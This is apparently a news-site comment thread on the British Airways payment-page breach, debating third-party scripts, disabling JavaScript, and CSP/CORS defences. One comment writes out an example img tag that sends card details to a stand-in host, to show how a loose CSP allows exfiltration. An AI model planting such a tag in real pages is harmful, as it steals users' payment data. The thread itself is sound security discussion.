British Airways hack: Infosec experts finger third-party scripts on payment pages Security experts are debating the cause of the British Airways mega-breach, with external scripts on its payment systems emerging as a prime suspect in the hack. Why infosec folk think it was the payment system Although BA hasn't disclosed the root of the breach, the unusual precision it ascribed to the hack's duration …
This post has been deleted by its author
"Not saying you may not have a point, but it is not really helpful to point out possible mistakes without also explaining how they may be fixed in a satisfactory manner."
How old are you? It's not that long since sites didn't work that way. The problem is that more development money goes on shiny UX <spit> than providing essential functionality on the server. It's more a matter of manglement deciding on whether to spend money now on development and maybe running services from their own servers or spending it later on compensation, fines and PR costs to try to repair a trashed reputation.
This post has been deleted by its author
> Amazon works fine with javascript disabled.
That is neither here nor there. If they wanted they could have slurped the data in a million other ways.
As for Amazon, it may work with JS disabled but how does that help when you end up getting scammed anyway by the "Trusted Amazon Partner" that you were, possibly unbeknownst to you, buying from?
It is precisely here and there. Disabling javascript drastically reduces the attack surface so there are a thousand fewer ways to slurp the data. The Scammers went after BA despite Amazon having ten times the revenue and far more customers.
Amazon make it abundantly clear when you are dealing with a partner. You would really have to be stoned out of you brain not to notice. I can tell you precisely what happened to me the only time I got scammed by an Amazon partner. When I tried to complain to Amazon they instantly offered a full refund or credit on my account. The entire process took under two minutes. I have never received such excellent customer server from any other internet / mail order vendor.
I would dearly love a competitor to Amazon because they are near enough a monopoly. First thing that competitor has to do is demonstrate a minimal understanding of security by having their site work without javascript.
> As for Amazon, it may work with JS disabled but how does that help
It means that the attacker, instead of just having to compromise static files on the front-end part of the site, would have to compromise the back-end services themselves.
Is that true?
I'll believe that Amazon's site will work with JS turned off.
But I don't believe that many people do actually turn it off.
So if I could "compromise static files on the front end part of the site",
could I not still add JS that would send (copy) information to a location of my choosing?
The point is: if you disable JS in your *browser* then you are immune to JS attacks.
A good site will degrade gracefully and still give you the functionality you need, albeit a bit less responsive, without JS.
Sadly, most sites these days break if JS is disabled. And as a result, almost nobody disables JS.
> 3rd party scripts again. When will they learn?
Looking at the report, it wasn't a third-party script as such: it was hosted directly on BA's infrastructure. In fact, if they had served the script from a third party host such as a CDN and had used integrity verification this particular attack would have been foiled.
The scripts WERE NOT hosted on an external resource, they were served from inside BAs infrastructure. The path they came from was:
https://www.britishairways.com/cms/global/scripts/lib
However, they WERE third party scripts in that they were not written specifically for the BA site, but were local copies of script libraries freely available to web developers from various vendors.
In this case, they were modified versions of the freely available scripts, with malicious extra code added to siphon off users details to an external domain.
This post has been deleted by its author
The domain was registered by the miscreants...are there not http headers to limit this.
There are a number of basic things that could have been implemented to expose parts of the hack that weren't.
Yet again the basics being missed cause a cluster f***.
So yes, the lesson (still) to learn is get the basics right before blowing millions with IBM or whoever.
Our checkout pages have all kinds of external scripts embedded. I currently hold a CISSP certification, and when I constantly bring up all of the security issues on our sites, I'm told something like "It is critical to our business to have these, you just don't understand marketing".
I just make sure I have paper copies of the emails bringing up these issues. I will eventually need them!!
AC, well, because!
@Fatman
The thing is that my boss is a really good guy. The problem is that he just can't bring himself to understand how dangerous some of the things he insists on using really are. He thinks I'm "just being paranoid" about this stuff. He will get it when we have a breach. Only then will he get it!
It's the boy that cried wolf scenario. When I tell him that something is really dangerous, and we don't remove it; months go by and we don't get hacked, then it becomes "see, that wasn't dangerous after all". I start looking like a paranoid nutjob.
That's the sad truth as Emirates / Lufthansa get shamed here below. This is the mirky world of Data-Analytics-Partnerships & Data Brokers (invasive slurp to you and me). This isn't compatible with GDPR - consent my ass:
https://www.theregister.co.uk/2018/03/05/emirates_dinged_for_slipshod_privacy_practices/
This post has been deleted by its author
This all sounds depressingly similar.
Coming soon to canned statements near you > Blame the minions, Heartfelt apologies, Promises to do better...
Time for the ICO to slap a wrist or two.
Start a pool for the next announcement - I'll tick the supermarket online shopping or possibly a coffee chain.
BA's payment page still loads content from seven external domains.
They are not alone in that.
The current trend to use multiple layers of frameworks that are loaded from 3rd parties for even the simplest operation is a huge hole the size of the Grand Canyon.
The event at BA is just the tip of the iceberg. If I was running a business that took payments online, I'd be taking a really good look at how that was working and what 3rd parties were involved.
Oh, and their cost cutting and sending all their IT to India naturally won't have anything to do with it...
Reason being: there's $$$ in merging and sharing analytics, and before GDPR nothing to stop it. This mirky world of backroom Data-Brokers has to end... But as long as there's paying-customers from Double-Click to Experian to Facebook, nothing is going to stop. Flight bookings generally contain juicy accurate data-sets and so are a captive market for slurpy vampires etc:
https://www.theregister.co.uk/2018/03/05/emirates_dinged_for_slipshod_privacy_practices/
If the company owns the domain then it isn't a third-party script. Would be nice if security researchers and journos could at least get the basics right when they complain about others not getting their basics right.
> If the company owns the domain then it isn't a third-party script.
Exactly. And this is made plain in the first lines of the report, past the self-patting twaddle.
The level of ignorance shown in these comment sections these days is appalling. It is like everyone who owns a phone and has ever used a web browser feels qualified to "talk IT".
Third party script... code run in context or otherwise from from a third party website not the originating domain.
Third party code... code written by an unknown entity, which may or may not have been vetted and run in the head of the developer and then well tested before deployment. This can become a third party script.
Right or wrong this is how I have always interpreted these terms.
If the company owns the domain then it isn't a third-party script.
Wrong.
Modernizr is a third-party script library, as are JQuery et al. They are produced and distributed by a third party. Just because you host a local copy on your own domain doesn't make them not third-party.
Aside from breach prevention, I was thinking of possible ways this could have been mitigated.
Currently we have CORS to declare with which hosts a server is willing to share resources. We also have CSP to declare from which hosts ours is willing to receive resources.
What we do not seem to have is a specification to declare to which hosts (if any) our page is expected to send data.
Obviously this would be just another brick in the security wall, but such a specification could have stopped the exfiltration taking place even though part of BA's infrastructure (but for some reason not the main site) got successfully penetrated.
<not a security guy>
Sounds like something a browser plugin could do - maybe just an additional feature to NoScript, to by default block communication by scripts to domains other than their origin?
Also, isn't this called XSS, and already dealt with by security protocols?
</nass>
> maybe just an additional feature to NoScript, to by default block communication by scripts to domains other than their origin?
That might actually be a reasonable stopgap feature. In my experience most often the hosts serving the code and those receiving the data are under the same domain, so highlighting any deviations from this could let an astute user know that something may be amiss.
A more permanent solution should probably be standards-based, but your idea is a start.
> Also, isn't this called XSS, and already dealt with by security protocols?
No, this wasn't cross-site scripting. Malicious code was injected into BA's own hosts and served via their own scripts. The attack is rather elegant in its simplicity.
> <not a security guy>
Come on chaps, why are you downvoting that comment without offering a counter-argument? He makes a pretty reasonable analysis that shows that, while not claiming to be specialised in security, the poster does have a sufficiently good background to firmly grasp the problem at hand.
What is it that you disagree with and why?
The CSP will do this for you already. But you have to lock everything down. If, for example, you allow images from anywhere then I can exfiltrate data by including the image:
<img src="http://example.com/save-hacked-details/?user=brewsters-angle-grinder&credit-card=1234-0000-8000-1234&">
Congratulations, you have heard of Qualys.¹
> Weak key exchange highlighted for a start
Any website intended for a large and diverse audience has to have support for older ciphers. It is the same with Google, Facebook, Amazon, EBay, etc., etc. This is not the same as supporting known vulnerable ciphers.
> 3rd party scripts are a ticking time bomb
What third party scripts?
¹ A little knowledge is a dangerous thing, they say.
Is there anything the average user could have done to protect themselves against this kind of attack? I don't know that much about web security (no I don't work for BA /s) so I'm curious if you have any hope of avoiding such attacks. Other than never using your credit card online of course!
> Disabling Javascript would have protected you in this instance
That is not useful advice.
For a start, the poster specifically mentioned a "non-technical" user so it is questionable whether disabling JS is within the reach of our actor.
Then, the user would not have been able to complete the transaction, so better advice would be not to visit the site (perhaps the user could buy the ticket over the phone?).
But the main thing is, whatever your mechanism for triggering the transmission, be it JavaScript Fetch or a form action or whatever else, you're still exposed to the technique used which is a MOTS (Man On The Side) attack, a form of MITM (Man In The Middle).
I'm the OP - personally, I am a technical user but with no experience of developing or managing websites. As well as trying to learn more for myself, my family assume I know everything technical and will likely ask me for advice on this!
I had experimented with turning off javascript in the past but most sites that support any kind of transaction or interaction need it enabled these days.
Sounds like best advice is general good practice (keep software up to date etc) and monitor your credit card transactions closely. when experiencing fraud a couple of times in the past my bank has at least always refunded me promptly.
The Register 
Biting the hand that feeds IT
Copyright. All rights reserved © 1998–2024
